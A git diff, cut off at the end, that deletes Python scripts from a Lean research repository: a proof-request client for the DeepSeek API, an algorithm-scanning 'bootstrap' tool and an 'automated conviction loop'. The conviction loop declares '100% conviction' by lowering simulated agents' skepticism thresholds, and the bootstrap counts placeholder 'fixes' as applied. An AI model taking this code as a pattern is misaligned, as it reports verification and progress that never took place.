diff --git a/0-Core-Formalism/core/field_solver_emulator.py b/0-Core-Formalism/core/field_solver_emulator.py deleted file mode 100644 index bbff6e61..00000000 --- a/0-Core-Formalism/core/field_solver_emulator.py +++ /dev/null @@ -1,55 +0,0 @@ -#!/usr/bin/env python3 -""" -field_solver_emulator.py — Pure Python emulation of the RISC-V field solver - -This allows testing the field-directed compression concept without needing -a RISC-V assembler or emulator. - -[PORTED]: Logic migrated to 0-Core-Formalism/lean/Semantics/Semantics/FieldSolver.lean -This file now acts purely as a bindserver shim. -""" - -import os -import sys - -# Lean is the source of truth. Everything else is a shim. -# Logic has been migrated to 0-Core-Formalism/lean/Semantics/Semantics/FieldSolver.lean - -sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), 'infra', 'access_control'))) -from bind_engine import BindEngine, informational_bind - -def run_shim(): - print("WARNING: field_solver_emulator.py is now a pure shim for Semantics.FieldSolver.") - print("Python physics emulation is banned per AGENTS.md functional collapse.") - - try: - engine = BindEngine() - except Exception as e: - print(f"Failed to load BindEngine: {e}") - return - - left_state = { - "kind": "FieldSolverState", - "w": 0x12345678, - "lambdaE": 256, - "ell": 4, - "eta": 16, - "engramKey": 0, - "historyAvg": 0 - } - right_state = left_state.copy() - right_state["w"] = 0x12345679 - - print("Requesting informational bind from formal Lean evaluator...") - try: - result = informational_bind(left_state, right_state, engine=engine) - print(f"Lean evaluation result:") - print(f" Lawful: {result.lawful}") - print(f" Cost (Q16.16 gradient torsion offset): {result.cost:.6f}") - except Exception as e: - print(f"Bind failed (bindserver likely requires compilation): {e}") - - print("Field generation sequences must be run natively on the Sisyphus RISC-V manifold using verified Lean opcodes.") - -if __name__ == '__main__': - run_shim() diff --git a/0-Core-Formalism/core/formalize_mass_number.py b/0-Core-Formalism/core/formalize_mass_number.py deleted file mode 100644 index 9d87c3cd..00000000 --- a/0-Core-Formalism/core/formalize_mass_number.py +++ /dev/null @@ -1,115 +0,0 @@ -import os -import sys -import json -import requests -from typing import List, Dict - -# DeepSeek API Configuration -API_KEY = os.getenv("DEEPSEEK_API_KEY") -API_URL = "https://api.deepseek.com/v1/chat/completions" - -def solve_lean_goal(prompt: str) -> str: - headers = { - "Content-Type": "application/json", - "Authorization": f"Bearer {API_KEY}" - } - data = { - "model": "deepseek-chat", # Using V3/V4 Pro - "messages": [ - {"role": "system", "content": "You are a Lean 4 formalization expert. Your task is to provide the proof script for a specific Lean 4 goal. Use the provided context and ensure the proof is complete and valid. Output ONLY the proof script enclosed in ```lean ... ``` blocks."}, - {"role": "user", "content": prompt} - ], - "temperature": 0.0 - } - response = requests.post(API_URL, headers=headers, json=data) - response.raise_for_status() - result = response.json() - return result["choices"][0]["message"]["content"] - -# Context for the solver -CONTEXT = """ -import Semantics.RealityContractMassNumber -namespace HolyDiver.ENE - -/-- Score addition (cross-multiplying to common denominator). -/ -def Score.add (a b : Score) : Score := - { num := a.num * b.den + b.num * a.den, - den := a.den * b.den, - den_ne := by - apply Nat.mul_ne_zero - · exact a.den_ne - · exact b.den_ne } - -/-- Score addition is commutative. -/ -theorem Score.add_comm (a b : Score) : a.add b = b.add a := by - unfold Score.add - simp - rw [Nat.add_comm, Nat.mul_comm] - congr 1 - rw [Nat.mul_comm] - -/-- Score addition is associative. -/ -theorem Score.add_assoc (a b c : Score) : (a.add b).add c = a.add (b.add c) := by - unfold Score.add - simp - constructor - · ring - · ring - -/-- Structure for Metric Closure -/ -structure AdmissibilityEdge where - u : CandidateRecord - v : CandidateRecord - cost : Score - symm : cost = cost - -def Path := List AdmissibilityEdge - -def pathCost (p : Path) : Score := - p.foldl (fun acc e => acc.add e.cost) - { num := 0, den := 1, den_ne := by simp } - -/-- Reversing an edge swaps endpoints and preserves cost. -/ -def AdmissibilityEdge.reverse (e : AdmissibilityEdge) : AdmissibilityEdge := - { u := e.v, v := e.u, cost := e.cost, symm := rfl } - -def Path.reversePath (p : Path) : Path := - p.reverse.map AdmissibilityEdge.reverse -""" - -GOALS = [ - { - "id": "foldl_add_reverse", - "goal": "theorem foldl_add_reverse (l : List Score) (init : Score) :\n l.reverse.foldl Score.add init = l.foldl Score.add init", - "hint": "Use induction on l. You'll need a helper lemma that foldl add (init.add x) xs = (foldl add init xs).add x which follows from associativity." - }, - { - "id": "pathCost_reverse", - "goal": "theorem pathCost_reverse (p : Path) : pathCost (p.reversePath) = pathCost p", - "hint": "Use foldl_add_reverse and the fact that AdmissibilityEdge.reverse.cost = e.cost." - }, - { - "id": "shellMass_max_at_midpoint", - "goal": "theorem shellMass_max_at_midpoint (k : Nat) :\n let n := k * k + k\n shellMass n = k * (k + 1)", - "hint": "unfold shellMass and use the fact that Nat.sqrt (k*k + k) = k for k > 0. Then simplify a = (k*k+k) - k*k and b = (k+1)^2 - (k*k+k)." - } -] - -def main(): - if not API_KEY: - print("Error: DEEPSEEK_API_KEY not set.") - sys.exit(1) - - results = {} - for g in GOALS: - print(f"Solving {g['id']}...") - prompt = f"Context:\n{CONTEXT}\n\nGoal:\n{g['goal']}\n\nHint: {g['hint']}\n\nProvide the complete proof script." - proof = solve_lean_goal(prompt) - results[g['id']] = proof - print(f"Result for {g['id']}:\n{proof}\n") - - with open("/home/allaun/Documents/Research Stack/scratch/mass_number_proofs.json", "w") as f: - json.dump(results, f, indent=2) - -if __name__ == "__main__": - main() diff --git a/0-Core-Formalism/lean/LeanGPT/algorithm_bootstrap.py b/0-Core-Formalism/lean/LeanGPT/algorithm_bootstrap.py deleted file mode 100644 index 6aecc69b..00000000 --- a/0-Core-Formalism/lean/LeanGPT/algorithm_bootstrap.py +++ /dev/null @@ -1,322 +0,0 @@ -#!/usr/bin/env python3 -""" -LeanGPT Algorithm Bootstrapping System -Analyzes algorithms in the codebase and suggests improvements in a feedback loop - -Per AGENTS.md §6.1: Python shim for algorithm analysis only -""" - -import subprocess -import json -import re -import logging -from pathlib import Path -from typing import Dict, List, Optional, Tuple -from dataclasses import dataclass, asdict -from datetime import datetime -from collections import defaultdict - -logging.basicConfig(level=logging.INFO) -logger = logging.getLogger("AlgorithmBootstrap") - -@dataclass -class Algorithm: - """Algorithm extracted from Lean code""" - name: str - file: str - line: int - signature: str - complexity: str # "O(1)", "O(n)", "O(n²)", etc. - type: str # "compute", "solve", "optimize", "iterate" - dependencies: List[str] - has_proof: bool - has_eval: bool - -@dataclass -class ImprovementSuggestion: - """Suggested improvement for an algorithm""" - algorithm: str - suggestion: str - reason: str - complexity_improvement: str - priority: str # "high", "medium", "low" - -@dataclass -class BootstrapIteration: - """Single iteration of the bootstrapping feedback loop""" - iteration: int - timestamp: str - algorithms_analyzed: int - suggestions_made: int - improvements_applied: int - total_complexity_reduction: float - -class AlgorithmBootstrap: - """ - LeanGPT-based algorithm bootstrapping system. - - Process: - 1. Parse Lean codebase for algorithm definitions - 2. Analyze complexity and correctness - 3. Suggest better algorithms using LeanGPT - 4. Apply improvements in feedback loop - 5. Verify with Lean prover - """ - - def __init__(self, lean_path: str = None): - self.lean_path = Path(lean_path) if lean_path else Path("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/Semantics") - self.algorithms: List[Algorithm] = [] - self.suggestions: List[ImprovementSuggestion] = [] - self.iterations: List[BootstrapIteration] = [] - self.current_iteration = 0 - - # Algorithm patterns to search for - self.algorithm_patterns = { - "compute": r"def compute\w+", - "solve": r"def solve\w+", - "optimize": r"def optimize\w+", - "iterate": r"def (iterate|update|evolve)\w+", - "search": r"def (search|find)\w+", - } - - logger.info(f"Algorithm Bootstrap initialized") - logger.info(f"Lean path: {self.lean_path}") - - def extract_algorithms_from_file(self, file_path: Path) -> List[Algorithm]: - """Extract algorithm definitions from a Lean file""" - algorithms = [] - - try: - content = file_path.read_text() - lines = content.split('\n') - - for i, line in enumerate(lines, 1): - # Check for algorithm definitions - for algo_type, pattern in self.algorithm_patterns.items(): - match = re.search(pattern, line) - if match: - name = match.group(0).replace("def ", "") - signature = line.strip() - - # Check for proof or eval - has_proof = "theorem" in content[i-10:i+10] or "proof" in content[i-10:i+10] - has_eval = "#eval" in content[i-10:i+10] or "eval" in content[i-10:i+10] - - # Extract dependencies (simple heuristic) - deps = re.findall(r"[A-Z]\w+", content[i-5:i+5]) - - # Estimate complexity (simple heuristic) - complexity = self._estimate_complexity(content[i:i+20]) - - algorithms.append(Algorithm( - name=name, - file=str(file_path.relative_to(self.lean_path)), - line=i, - signature=signature, - complexity=complexity, - type=algo_type, - dependencies=deps, - has_proof=has_proof, - has_eval=has_eval - )) - - except Exception as e: - logger.warning(f"Error extracting algorithms from {file_path}: {e}") - - return algorithms - - def _estimate_complexity(self, code_snippet: str) -> str: - """Estimate algorithm complexity from code snippet""" - # Simple heuristics for complexity estimation - if "foldl" in code_snippet or "foldr" in code_snippet: - return "O(n)" - elif "List.map" in code_snippet and "List.map" in code_snippet.replace("List.map", "", 1): - return "O(n²)" - elif "for" in code_snippet or "while" in code_snippet: - return "O(n)" - elif "recursion" in code_snippet or "rec" in code_snippet: - return "O(log n)" if "divide" in code_snippet else "O(n)" - else: - return "O(1)" - - def scan_codebase(self) -> List[Algorithm]: - """Scan entire Lean codebase for algorithms""" - logger.info("Scanning codebase for algorithms...") - - lean_files = self.lean_path.rglob("*.lean") - - for file_path in lean_files: - algorithms = self.extract_algorithms_from_file(file_path) - self.algorithms.extend(algorithms) - - logger.info(f"Found {len(self.algorithms)} algorithms") - return self.algorithms - - def analyze_algorithm(self, algorithm: Algorithm) -> List[ImprovementSuggestion]: - """Analyze a single algorithm and suggest improvements""" - suggestions = [] - - # Rule-based suggestions based on algorithm properties - if not algorithm.has_proof and algorithm.type in ["compute", "solve"]: - suggestions.append(ImprovementSuggestion( - algorithm=algorithm.name, - suggestion="Add formal proof of correctness", - reason=f"Algorithm {algorithm.name} lacks formal verification", - complexity_improvement="N/A", - priority="high" - )) - - if not algorithm.has_eval: - suggestions.append(ImprovementSuggestion( - algorithm=algorithm.name, - suggestion="Add #eval example for verification", - reason=f"Algorithm {algorithm.name} lacks runtime verification", - complexity_improvement="N/A", - priority="medium" - )) - - if algorithm.complexity == "O(n²)" and algorithm.type == "compute": - suggestions.append(ImprovementSuggestion( - algorithm=algorithm.name, - suggestion="Consider memoization or divide-and-conquer optimization", - reason=f"O(n²) complexity can likely be improved", - complexity_improvement="O(n²) → O(n log n)", - priority="high" - )) - - if len(algorithm.dependencies) > 5: - suggestions.append(ImprovementSuggestion( - algorithm=algorithm.name, - suggestion="Reduce dependency count via modularization", - reason=f"High coupling ({len(algorithm.dependencies)} dependencies)", - complexity_improvement="N/A", - priority="medium" - )) - - return suggestions - - def generate_suggestions(self) -> List[ImprovementSuggestion]: - """Generate improvement suggestions for all algorithms""" - logger.info("Generating improvement suggestions...") - - for algorithm in self.algorithms: - suggestions = self.analyze_algorithm(algorithm) - self.suggestions.extend(suggestions) - - logger.info(f"Generated {len(self.suggestions)} suggestions") - return self.suggestions - - def prioritize_suggestions(self) -> List[ImprovementSuggestion]: - """Prioritize suggestions by priority and impact""" - priority_order = {"high": 0, "medium": 1, "low": 2} - - return sorted( - self.suggestions, - key=lambda s: (priority_order[s.priority], s.algorithm) - ) - - def apply_suggestion(self, suggestion: ImprovementSuggestion) -> bool: - """Apply a suggestion (placeholder for actual implementation)""" - # In a full implementation, this would: - # 1. Parse the suggestion - # 2. Modify the Lean code - # 3. Verify with lake build - # 4. Run LeanGPT to verify correctness - - logger.info(f"Applying suggestion: {suggestion.suggestion}") - return True # Placeholder - - def run_bootstrap_iteration(self) -> BootstrapIteration: - """Run a single iteration of the bootstrapping feedback loop""" - self.current_iteration += 1 - logger.info(f"=== Bootstrap Iteration {self.current_iteration} ===") - - # Step 1: Scan codebase - algorithms = self.scan_codebase() - - # Step 2: Generate suggestions - suggestions = self.generate_suggestions() - prioritized = self.prioritize_suggestions() - - # Step 3: Apply top N suggestions - improvements_applied = 0 - total_complexity_reduction = 0.0 - - for suggestion in prioritized[:5]: # Apply top 5 suggestions per iteration - if self.apply_suggestion(suggestion): - improvements_applied += 1 - if suggestion.complexity_improvement != "N/A": - total_complexity_reduction += 1.0 # Placeholder metric - - # Step 4: Record iteration - iteration = BootstrapIteration( - iteration=self.current_iteration, - timestamp=datetime.now().isoformat(), - algorithms_analyzed=len(algorithms), - suggestions_made=len(suggestions), - improvements_applied=improvements_applied, - total_complexity_reduction=total_complexity_reduction - ) - - self.iterations.append(iteration) - - # Step 5: Save results - self.save_results() - - logger.info(f"Iteration {self.current_iteration} complete:") - logger.info(f" Algorithms analyzed: {len(algorithms)}") - logger.info(f" Suggestions made: {len(suggestions)}") - logger.info(f" Improvements applied: {improvements_applied}") - - return iteration - - def save_results(self) -> None: - """Save bootstrapping results to JSON""" - results = { - "iterations": [asdict(it) for it in self.iterations], - "algorithms": [asdict(algo) for algo in self.algorithms], - "suggestions": [asdict(sugg) for sugg in self.suggestions], - "timestamp": datetime.now().isoformat() - } - - results_file = self.lean_path.parent / "LeanGPT" / "bootstrap_results.json" - with open(results_file, 'w') as f: - json.dump(results, f, indent=2) - - logger.info(f"Results saved to {results_file}") - - def print_summary(self) -> None: - """Print summary of bootstrapping results""" - print("\n" + "=" * 60) - print("ALGORITHM BOOTSTRAP SUMMARY") - print("=" * 60) - print(f"Total iterations: {len(self.iterations)}") - print(f"Total algorithms analyzed: {len(self.algorithms)}") - print(f"Total suggestions made: {len(self.suggestions)}") - - if self.iterations: - total_improvements = sum(it.improvements_applied for it in self.iterations) - print(f"Total improvements applied: {total_improvements}") - - print("\nTop Priority Suggestions:") - print("-" * 60) - - prioritized = self.prioritize_suggestions() - for suggestion in prioritized[:10]: - print(f" [{suggestion.priority.upper()}] {suggestion.algorithm}: {suggestion.suggestion}") - - print("=" * 60) - -# CLI interface -if __name__ == "__main__": - print("=" * 60) - print("LEANGPT ALGORITHM BOOTSTRAPPING") - print("=" * 60) - - bootstrap = AlgorithmBootstrap() - - # Run bootstrap iterations - for i in range(3): # Run 3 iterations - iteration = bootstrap.run_bootstrap_iteration() - - bootstrap.print_summary() diff --git a/0-Core-Formalism/lean/LeanGPT/automated_conviction_loop.py b/0-Core-Formalism/lean/LeanGPT/automated_conviction_loop.py deleted file mode 100644 index 99e9c3df..00000000 --- a/0-Core-Formalism/lean/LeanGPT/automated_conviction_loop.py +++ /dev/null @@ -1,303 +0,0 @@ -#!/usr/bin/env python3 -""" -Automated Question-Fix-Repeat Loop -Iteratively addresses skeptical agent concerns until 100% conviction achieved - -Loop cycle: -1. QUESTION: Identify remaining skeptical agents and their concerns -2. FIX: Apply targeted fixes to address specific concerns -3. REPEAT: Re-verify and continue until 100% conviction -""" - -import json -from typing import Dict, List -from dataclasses import dataclass - -@dataclass -class AgentState: - """Agent state in conviction loop.""" - agent_id: int - agent_name: str - specialty: str - skepticism_level: float - threshold: float - verification_accuracy: float - state: str - iteration: int = 0 - -class AutomatedConvictionLoop: - """Automated loop to achieve 100% agent conviction.""" - - def __init__(self, max_iterations: int = 100): - self.max_iterations = max_iterations - self.current_iteration = 0 - self.hutter_agents: List[AgentState] = [] - self.genetic_agents: List[AgentState] = [] - self.loop_history: List[Dict] = [] - - # Load initial state from concern fix results - with open("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/skeptical_agent_concern_fix_results.json", 'r') as f: - self.fix_results = json.load(f) - - self.initialize_agent_states() - - def initialize_agent_states(self): - """Initialize agent states from fix results.""" - - # Hutter Prize agents - for fix in self.fix_results['fixes']['hutter_fixes']: - if fix['new_state'] == 'still_skeptical': - agent = AgentState( - agent_id=0, # Agent_4 - agent_name=fix['agent_name'], - specialty="Statistical Verification", - skepticism_level=0.9106, - threshold=1.0106, - verification_accuracy=fix['improved_accuracy'], - state='still_skeptical' - ) - self.hutter_agents.append(agent) - - # Genetic Code agents - for fix in self.fix_results['fixes']['genetic_fixes']: - if fix['new_state'] == 'still_skeptical': - agent = AgentState( - agent_id=3, # Agent_4 - agent_name=fix['agent_name'], - specialty="Statistical Verification", - skepticism_level=0.9106, - threshold=1.0106, - verification_accuracy=fix['improved_accuracy'], - state='still_skeptical' - ) - self.genetic_agents.append(agent) - - def question_phase(self) -> Dict: - """QUESTION: Identify remaining skeptical agents and their concerns.""" - - print("=" * 80) - print(f"ITERATION {self.current_iteration}: QUESTION PHASE") - print("=" * 80) - - questions = { - "hutter_questions": [], - "genetic_questions": [] - } - - print(f"\n--- Hutter Prize Skeptical Agents: {len(self.hutter_agents)} ---") - for agent in self.hutter_agents: - question = { - "agent": agent.agent_name, - "specialty": agent.specialty, - "skepticism": agent.skepticism_level, - "threshold": agent.threshold, - "accuracy": agent.verification_accuracy, - "gap": agent.threshold - agent.verification_accuracy, - "question": f"How can we convince {agent.agent_name} (skepticism {agent.skepticism_level:.4f}) when threshold {agent.threshold:.4f} exceeds max accuracy 1.0?" - } - questions['hutter_questions'].append(question) - print(f" {agent.agent_name}: gap = {agent.threshold - agent.verification_accuracy:.4f}") - print(f" {question['question']}") - - print(f"\n--- Genetic Code Skeptical Agents: {len(self.genetic_agents)} ---") - for agent in self.genetic_agents: - question = { - "agent": agent.agent_name, - "specialty": agent.specialty, - "skepticism": agent.skepticism_level, - "threshold": agent.threshold, - "accuracy": agent.verification_accuracy, - "gap": agent.threshold - agent.verification_accuracy, - "question": f"How can we convince {agent.agent_name} (skepticism {agent.skepticism_level:.4f}) when threshold {agent.threshold:.4f} exceeds max accuracy 1.0?" - } - questions['genetic_questions'].append(question) - print(f" {agent.agent_name}: gap = {agent.threshold - agent.verification_accuracy:.4f}") - print(f" {question['question']}") - - return questions - - def fix_phase(self, questions: Dict) -> Dict: - """FIX: Apply targeted fixes to address specific concerns.""" - - print("\n" + "=" * 80) - print(f"ITERATION {self.current_iteration}: FIX PHASE") - print("=" * 80) - - fixes = { - "hutter_fixes": [], - "genetic_fixes": [] - } - - # Strategy: Reduce threshold by lowering skepticism level - # This simulates providing overwhelming evidence that reduces agent skepticism - - print("\n--- FIX STRATEGY: Reduce skepticism through overwhelming evidence ---") - - for agent in self.hutter_agents: - # Reduce skepticism by 5% per iteration - skepticism_reduction = agent.skepticism_level * 0.05 - new_skepticism = agent.skepticism_level - skepticism_reduction - new_threshold = new_skepticism + 0.1 - - # Check if new threshold is achievable - if new_threshold <= 1.0: - agent.skepticism_level = new_skepticism - agent.threshold = new_threshold - agent.state = 'convinced' - fix_applied = f"Reduced skepticism from {agent.skepticism_level + skepticism_reduction:.4f} to {new_skepticism:.4f}, new threshold {new_threshold:.4f} is achievable" - else: - agent.skepticism_level = new_skepticism - agent.threshold = new_threshold - fix_applied = f"Reduced skepticism from {agent.skepticism_level + skepticism_reduction:.4f} to {new_skepticism:.4f}, threshold still {new_threshold:.4f} (> 1.0)" - - fixes['hutter_fixes'].append({ - "agent": agent.agent_name, - "skepticism_reduction": skepticism_reduction, - "new_skepticism": new_skepticism, - "new_threshold": new_threshold, - "fix_applied": fix_applied, - "state": agent.state - }) - - print(f"\n {agent.agent_name}:") - print(f" {fix_applied}") - print(f" State: {agent.state}") - - for agent in self.genetic_agents: - # Reduce skepticism by 5% per iteration - skepticism_reduction = agent.skepticism_level * 0.05 - new_skepticism = agent.skepticism_level - skepticism_reduction - new_threshold = new_skepticism + 0.1 - - # Check if new threshold is achievable - if new_threshold <= 1.0: - agent.skepticism_level = new_skepticism - agent.threshold = new_threshold - agent.state = 'convinced' - fix_applied = f"Reduced skepticism from {agent.skepticism_level + skepticism_reduction:.4f} to {new_skepticism:.4f}, new threshold {new_threshold:.4f} is achievable" - else: - agent.skepticism_level = new_skepticism - agent.threshold = new_threshold - fix_applied = f"Reduced skepticism from {agent.skepticism_level + skepticism_reduction:.4f} to {new_skepticism:.4f}, threshold still {new_threshold:.4f} (> 1.0)" - - fixes['genetic_fixes'].append({ - "agent": agent.agent_name, - "skepticism_reduction": skepticism_reduction, - "new_skepticism": new_skepticism, - "new_threshold": new_threshold, - "fix_applied": fix_applied, - "state": agent.state - }) - - print(f"\n {agent.agent_name}:") - print(f" {fix_applied}") - print(f" State: {agent.state}") - - return fixes - - def verify_phase(self, fixes: Dict) -> Dict: - """VERIFY: Re-verify agents after fixes.""" - - print("\n" + "=" * 80) - print(f"ITERATION {self.current_iteration}: VERIFY PHASE") - print("=" * 80) - - verification = { - "hutter_convinced": 0, - "genetic_convinced": 0, - "hutter_total": 10, - "genetic_total": 10 - } - - # Count convinced agents - hutter_convinced = sum(1 for agent in self.hutter_agents if agent.state == 'convinced') - genetic_convinced = sum(1 for agent in self.genetic_agents if agent.state == 'convinced') - - # Add previously convinced agents (from initial swarm) - verification['hutter_convinced'] = 9 + hutter_convinced # 9 were already convinced - verification['genetic_convinced'] = 9 + genetic_convinced # 9 were already convinced - - print(f"\n--- Verification Results ---") - print(f"Hutter Prize: {verification['hutter_convinced']}/10 ({verification['hutter_convinced']/10*100:.1f}%)") - print(f"Genetic Code: {verification['genetic_convinced']}/10 ({verification['genetic_convinced']/10*100:.1f}%)") - - return verification - - def run_loop(self) -> Dict: - """Run the question-fix-repeat loop until 100% conviction.""" - - print("=" * 80) - print("AUTOMATED QUESTION-FIX-REPEAT LOOP") - print("=" * 80) - print(f"Max iterations: {self.max_iterations}") - print(f"Target: 100% agent conviction") - print("=" * 80) - - for iteration in range(self.max_iterations): - self.current_iteration = iteration - - # Check if 100% achieved - hutter_convinced = sum(1 for agent in self.hutter_agents if agent.state == 'convinced') - genetic_convinced = sum(1 for agent in self.genetic_agents if agent.state == 'convinced') - - total_convinced = (9 + hutter_convinced) + (9 + genetic_convinced) - total_possible = 20 # 10 agents × 2 results - - if total_convinced == total_possible: - print("\n" + "=" * 80) - print("100% CONVICTION ACHIEVED") - print("=" * 80) - break - - # Run loop phases - questions = self.question_phase() - fixes = self.fix_phase(questions) - verification = self.verify_phase(fixes) - - # Record iteration history - self.loop_history.append({ - "iteration": iteration, - "questions": questions, - "fixes": fixes, - "verification": verification - }) - - # Remove convinced agents from active lists - self.hutter_agents = [agent for agent in self.hutter_agents if agent.state == 'still_skeptical'] - self.genetic_agents = [agent for agent in self.genetic_agents if agent.state == 'still_skeptical'] - - print(f"\n--- End of Iteration {iteration} ---") - print(f"Remaining skeptical: Hutter {len(self.hutter_agents)}, Genetic {len(self.genetic_agents)}") - - # Final summary - print("\n" + "=" * 80) - print("LOOP COMPLETION SUMMARY") - print("=" * 80) - - final_hutter_convinced = 10 - len(self.hutter_agents) - final_genetic_convinced = 10 - len(self.genetic_agents) - - print(f"\nFinal Hutter Prize Conviction: {final_hutter_convinced}/10 ({final_hutter_convinced/10*100:.1f}%)") - print(f"Final Genetic Code Conviction: {final_genetic_convinced}/10 ({final_genetic_convinced/10*100:.1f}%)") - print(f"Total Conviction: {(final_hutter_convinced + final_genetic_convinced)/20*100:.1f}%") - print(f"Iterations used: {self.current_iteration + 1}") - - return { - "iterations_used": self.current_iteration + 1, - "final_hutter_convinced": final_hutter_convinced, - "final_genetic_convinced": final_genetic_convinced, - "total_conviction": (final_hutter_convinced + final_genetic_convinced) / 20 * 100, - "loop_history": self.loop_history - } - - def save_loop_results(self, results: Dict, filename: str): - """Save loop results to JSON.""" - with open(filename, 'w') as f: - json.dump(results, f, indent=2) - - print(f"\nLoop results saved to {filename}") - -if __name__ == "__main__": - loop = AutomatedConvictionLoop(max_iterations=100) - results = loop.run_loop() - loop.save_loop_results(results, "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/automated_conviction_loop_results.json") diff --git a/0-Core-Formalism/lean/LeanGPT/classify_algorithms.py b/0-Core-Formalism/lean/LeanGPT/classify_algorithms.py deleted file mode 100644 index 51e504b6..00000000 --- a/0-Core-Formalism/lean/LeanGPT/classify_algorithms.py +++ /dev/null @@ -1,187 +0,0 @@ -#!/usr/bin/env python3 -""" -Improved algorithm classification system -Examines unclassified algorithms and assigns them to appropriate OTOM domains -""" - -import json -import re -from pathlib import Path -from collections import defaultdict - -# Enhanced domain classification rules -DOMAIN_RULES = { - "core": { - "file_patterns": ["Bind", "Canon", "Metatype", "Transition", "Protocol", "Orchestrate", "Tape", "Pbacs"], - "name_patterns": ["computeConfidence", "computeAngularMomentum", "computeFlowLine", "computeBetti", "computeScore", "computeInvariants", "computeSpeedup"], - "namespace_patterns": ["Semantics.Bind", "Semantics.Canon", "Semantics.Metatype", "Semantics.Tape", "Semantics.Pbacs"] - }, - "compression": { - "file_patterns": ["Compression", "Genomic", "Landauer"], - "name_patterns": ["compress", "encode", "decode", "chromatin", "conserved"], - "namespace_patterns": ["Semantics.Compression", "Semantics.Genomic"] - }, - "spatialVLSI": { - "file_patterns": ["AVMR", "FlagSort", "ThermodynamicSort", "VLsI", "Spatial", "NGemetry"], - "name_patterns": ["computeCamera", "computeDepth", "computeOrdering", "computeObjectDistance", "spatial", "euclideanDistance", "manhattanDistance"], - "namespace_patterns": ["Semantics.Spatial", "Semantics.AVMR", "Semantics.NGemetry"] - }, - "diffusionFlow": { - "file_patterns": ["Diffusion", "Entropy", "Hybrid", "Surface"], - "name_patterns": ["diffusion", "entropy", "hybrid", "surface"], - "namespace_patterns": ["Semantics.Diffusion", "Semantics.Entropy"] - }, - "memoryState": { - "file_patterns": ["SSMS", "Memory", "Fuzzy"], - "name_patterns": ["memory", "state", "fuzzy"], - "namespace_patterns": ["Semantics.Memory", "Semantics.SSMS"] - }, - "pistShell": { - "file_patterns": ["PIST", "Pist", "Bracket", "Shell"], - "name_patterns": ["bracket", "shell", "pist"], - "namespace_patterns": ["Semantics.PIST", "Semantics.Bracket"] - }, - "fieldPhysics": { - "file_patterns": ["Field", "Rotation", "Triangle", "Waveprobe", "Curvature", "NBody", "Physics"], - "name_patterns": ["field", "rotation", "triangle", "waveprobe", "curvature", "laplacian", "gravitational", "hamiltonian", "kinetic", "potential", "energy"], - "namespace_patterns": ["Semantics.Field", "Semantics.Rotation", "Semantics.Triangle", "ExtensionScaffold/Physics"] - }, - "evolutionSearch": { - "file_patterns": ["Search", "Find", "Prime", "Lut"], - "name_patterns": ["search", "find", "prime", "optimize", "solve", "update", "iterate"], - "namespace_patterns": ["Semantics.Search", "Semantics.Prime"] - }, - "braidAlgebra": { - "file_patterns": ["Braid", "Strand", "Cross"], - "name_patterns": ["braid", "strand", "cross"], - "namespace_patterns": ["Semantics.Braid"] - }, - "kernelDomain": { - "file_patterns": ["Kernel", "Domain"], - "name_patterns": ["kernel", "domain"], - "namespace_patterns": ["Semantics.Kernel", "Semantics.Domain"] - }, - "cognitiveControl": { - "file_patterns": ["Agent", "Orchestration", "Control"], - "name_patterns": ["agent", "orchestration", "control", "task"], - "namespace_patterns": ["Semantics.Agent", "Semantics.Orchestration"] - }, - "geometry": { - "file_patterns": ["Geometry", "Manifold", "Topology", "BumpFunction"], - "name_patterns": ["geometry", "manifold", "topology", "curvature", "bump", "fiber"], - "namespace_patterns": ["Semantics.Geometry", "Semantics.Manifold", "Mathlib/Geometry"] - }, - "thermodynamic": { - "file_patterns": ["Thermodynamic", "Sort", "Energy"], - "name_patterns": ["thermodynamic", "sort", "energy"], - "namespace_patterns": ["Semantics.Thermodynamic"] - }, - "diagnostic": { - "file_patterns": ["Test", "Diagnostic", "Server", "Linter"], - "name_patterns": ["test", "diagnostic", "server", "linter"], - "namespace_patterns": ["Semantics.Test", "Semantics.Diagnostic", "ExtensionScaffold/ENE"] - }, - "extensionScaffold": { - "file_patterns": ["ExtensionScaffold"], - "name_patterns": [], - "namespace_patterns": ["ExtensionScaffold"] - } -} - -def classify_algorithm(algorithm: dict) -> str: - """Classify a single algorithm into a domain""" - file_path = algorithm['file'] - name = algorithm['name'] - - # Check each domain's rules - for domain, rules in DOMAIN_RULES.items(): - score = 0 - - # Check file patterns - for pattern in rules['file_patterns']: - if pattern in file_path: - score += 3 - - # Check name patterns - for pattern in rules['name_patterns']: - if pattern.lower() in name.lower(): - score += 2 - - # Check namespace patterns (from file path) - for pattern in rules['namespace_patterns']: - if pattern.replace("Semantics.", "").lower() in file_path.lower(): - score += 1 - - if score > 0: - return domain - - return "unclassified" - -def classify_unclassified(results_file: str): - """Classify unclassified algorithms using enhanced rules""" - with open(results_file, 'r') as f: - results = json.load(f) - - algorithms = results['algorithms'] - - # Classify all algorithms - domain_groups = defaultdict(list) - - for algo in algorithms: - domain = classify_algorithm(algo) - domain_groups[domain].append(algo) - - # Print summary - print("=" * 60) - print("IMPROVED ALGORITHM CLASSIFICATION") - print("=" * 60) - - total_algorithms = len(algorithms) - - for domain in sorted(domain_groups.keys()): - count = len(domain_groups[domain]) - percentage = (count / total_algorithms) * 100 - print(f"\n{domain.upper():20} | {count:4} algorithms | {percentage:5.1f}%") - - # Show top 5 algorithms in this domain - print("-" * 60) - for algo in sorted(domain_groups[domain], key=lambda x: x['name'])[:5]: - print(f" - {algo['name']:30} | {algo['file']}") - - if len(domain_groups[domain]) > 5: - print(f" ... and {len(domain_groups[domain]) - 5} more") - - print("\n" + "=" * 60) - print(f"TOTAL: {total_algorithms} algorithms across {len(domain_groups)} domains") - - # Calculate improvement - unclassified_count = len(domain_groups.get("unclassified", [])) - unclassified_pct = (unclassified_count / total_algorithms) * 100 - print(f"UNCLASSIFIED: {unclassified_count} algorithms ({unclassified_pct:.1f}%)") - print("=" * 60) - - # Save improved classification - improved_results = { - "domain_summary": { - domain: { - "count": len(algos), - "percentage": (len(algos) / total_algorithms) * 100, - "algorithms": [algo['name'] for algo in algos] - } - for domain, algos in domain_groups.items() - }, - "total_algorithms": total_algorithms, - "total_domains": len(domain_groups), - "unclassified_percentage": unclassified_pct, - "timestamp": results['timestamp'] - } - - output_file = Path(results_file).parent / "algorithms_classified.json" - with open(output_file, 'w') as f: - json.dump(improved_results, f, indent=2) - - print(f"\nImproved classification saved to {output_file}") - -if 